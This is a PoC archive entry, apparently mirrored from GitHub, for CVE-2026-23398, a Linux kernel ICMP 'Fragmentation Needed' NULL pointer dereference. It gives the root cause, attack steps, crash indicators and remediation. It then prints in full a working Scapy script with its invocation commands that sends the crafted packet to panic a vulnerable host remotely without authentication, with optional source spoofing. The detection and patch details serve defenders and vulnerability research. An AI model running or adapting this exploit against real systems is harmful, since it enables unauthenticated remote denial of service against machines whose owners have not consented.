PoC Archive PoC Archive
High CVE-2026-23398 patched

Linux Kernel ICMP Fragmentation-Needed NULL Pointer Dereference (CVE-2026-23398)

by zpol · 2026-07-05

Severity
High
CVE
CVE-2026-23398
Category
network
Affected product
Linux kernel, icmp_tag_validation() / icmp_unreach() in net/ipv4/icmp.c
Affected versions
Kernels predating the March 2026 fix (commit 614aefe56af8e); PoC reproduces on mainline 6.12.0 (2024-11 build)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcherzpol
CVE / AdvisoryCVE-2026-23398
Categorynetwork
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagslinux-kernel, icmp, denial-of-service, null-pointer-dereference, kernel-panic, pmtu, scapy, remote-dos
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel, icmp_tag_validation() / icmp_unreach() in net/ipv4/icmp.c
Versions AffectedKernels predating the March 2026 fix (commit 614aefe56af8e); PoC reproduces on mainline 6.12.0 (2024-11 build)
Language / PlatformPython (Scapy) PoC targeting the Linux networking stack; lab built on QEMU + Docker
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-23398 is a NULL pointer dereference in the Linux kernel’s ICMP handling path, reachable when a host has net.ipv4.ip_no_pmtu_disc set to 3 (a hardened Path MTU Discovery mode) and receives a crafted ICMP “Fragmentation Needed” (type 3, code 4) packet. The quoted inner IPv4 header inside the ICMP payload references a protocol number that has no registered handler in inet_protos[], and icmp_tag_validation() dereferences that missing handler pointer without a NULL check, panicking the kernel. The archived PoC ships a full reproduction lab (QEMU victim VM + a Dockerized Scapy sender) plus a standalone Python script that crafts and sends the offending ICMP packet, and includes a captured serial-console dump showing the resulting kernel oops.


Vulnerability Details

Root Cause

icmp_unreach() / icmp_tag_validation() looks up the protocol handler for the quoted inner datagram’s protocol field in inet_protos[] and dereferences it without verifying the entry is non-NULL, which is reachable when the inner protocol number has no registered handler.

Attack Vector

  1. Identify (or provision) a target running a pre-fix Linux kernel with net.ipv4.ip_no_pmtu_disc = 3.
  2. Craft an ICMP type 3, code 4 packet whose embedded/quoted original IPv4 header sets proto to an unregistered value (default 253 in the PoC).
  3. Send the packet to the target over any reachable IPv4 path (raw socket / Scapy, no authentication needed).
  4. The kernel’s ICMP receive path dereferences the missing protocol handler and panics.

Impact

Unauthenticated, remote denial of service — a single crafted ICMP packet can panic a vulnerable host configured with the hardened PMTU sysctl.


Environment / Lab Setup

Target:   Linux kernel 6.12.0 (pre-fix mainline build) in a QEMU VM, net.ipv4.ip_no_pmtu_disc=3
Attacker: Python 3 + Scapy (root/CAP_NET_RAW), or Docker + docker-compose sender image

Proof of Concept

PoC Script

See send_frag_needed.py, send-payload-to-host.sh, docker-compose.yml/Dockerfile, and the scripts//vm/ lab-automation files in this folder.

1
2
./send-payload-to-host.sh 192.168.1.50
sudo python3 send_frag_needed.py <target-ip> --inner-proto 253 --nexthop-mtu 1200

The script builds an outer IP/ICMP(type=3, code=4) packet whose payload is a quoted inner IPv4 header (rare protocol number + 8 bytes) and sends it to the target. send-payload-to-host.sh resolves a hostname/IP and prefers running the send through the bundled Docker sender (CAP_NET_RAW), falling back to a local sudo Python invocation. The lab scripts (scripts/, vm/) provision a disposable QEMU victim with a vulnerable kernel to observe the panic end-to-end; victim_dump.log in this folder is the serial-console capture from a successful trigger.


Detection & Indicators of Compromise

BUG: kernel NULL pointer dereference, address: 0000000000000010
RIP: 0010:icmp_unreach+0x21c/0x280

Signs of compromise:

  • Kernel panic/oops referencing icmp_unreach shortly after inbound ICMP type 3 code 4 traffic.
  • Unusual ICMP Fragmentation-Needed packets whose quoted inner IP header uses uncommon/experimental protocol numbers.
  • Host becomes unresponsive (SSH/network hangs) immediately following such traffic.

Remediation

ActionDetail
Primary fixUpgrade to a kernel containing the March 2026 fix icmp: fix NULL pointer dereference in icmp_tag_validation() (commit 614aefe56af8e).
Interim mitigationAvoid setting net.ipv4.ip_no_pmtu_disc=3 on internet-facing hosts, and/or filter or rate-limit inbound ICMP type 3 traffic at the network edge.

References


Notes

Mirrored from https://github.com/zpol/cve-2026-23398-poc on 2026-07-05.

send_frag_needed.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
"""
Lab helper: craft ICMP Fragmentation Needed (3,4) with a quoted inner IPv4
header whose protocol number is unlikely to have an inet_protos[] handler.

CVE-2026-23398 (patched kernels): NULL deref in icmp_tag_validation() when
net.ipv4.ip_no_pmtu_disc == 3 and the inner proto has no registered handler.

Use only against a disposable VM you own; do not point at third-party systems.
"""
from __future__ import annotations

import argparse
import os
import sys

try:
    from scapy.all import IP, ICMP, Raw, send
except ImportError:
    print("Install Scapy: pip install scapy", file=sys.stderr)
    sys.exit(1)


def main() -> int:
    p = argparse.ArgumentParser(description="Send crafted ICMP type 3 code 4 (lab).")
    p.add_argument("dst", help="Target IPv4 (VM under your control)")
    p.add_argument(
        "--inner-proto",
        type=int,
        default=253,
        help="IPv4 protocol field in quoted header (default 253, experimental)",
    )
    p.add_argument(
        "--nexthop-mtu",
        type=int,
        default=1200,
        help="Next-hop MTU value in ICMP extension (RFC 1191)",
    )
    p.add_argument("--src", default=None, help="Optional outer IP source (spoofing may fail)")
    args = p.parse_args()

    if os.geteuid() != 0:
        print("Warning: raw sockets usually require root (sudo).", file=sys.stderr)

    # Minimal quoted original datagram: IPv4 header + 8 bytes (RFC 792 / 1191).
    inner = IP(src="192.0.2.1", dst="192.0.2.2", proto=args.inner_proto) / Raw(
        load=b"\x00" * 8
    )

    outer_ip = IP(dst=args.dst)
    if args.src:
        outer_ip.src = args.src

    pkt = outer_ip / ICMP(type=3, code=4, nexthopmtu=args.nexthop_mtu) / inner
    send(pkt, verbose=1)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())